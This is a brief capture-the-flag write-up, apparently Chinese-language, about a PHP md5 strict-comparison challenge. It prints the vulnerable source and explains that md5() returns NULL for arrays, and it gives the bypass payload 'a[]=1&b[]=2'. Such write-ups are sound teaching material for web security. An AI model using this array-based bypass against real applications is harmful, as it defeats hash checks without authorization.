ApachePHP/5.4.45md5()

0x01 源码

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
        if (md5($_POST['a']) === md5($_POST['b']))
            echo $flag;
        else
            print 'Wrong.';
}

强比较md5类型题目，md5函数处理数组会返回NULL，两个NULL即相等

0x02 Payload

a[]=1&b[]=2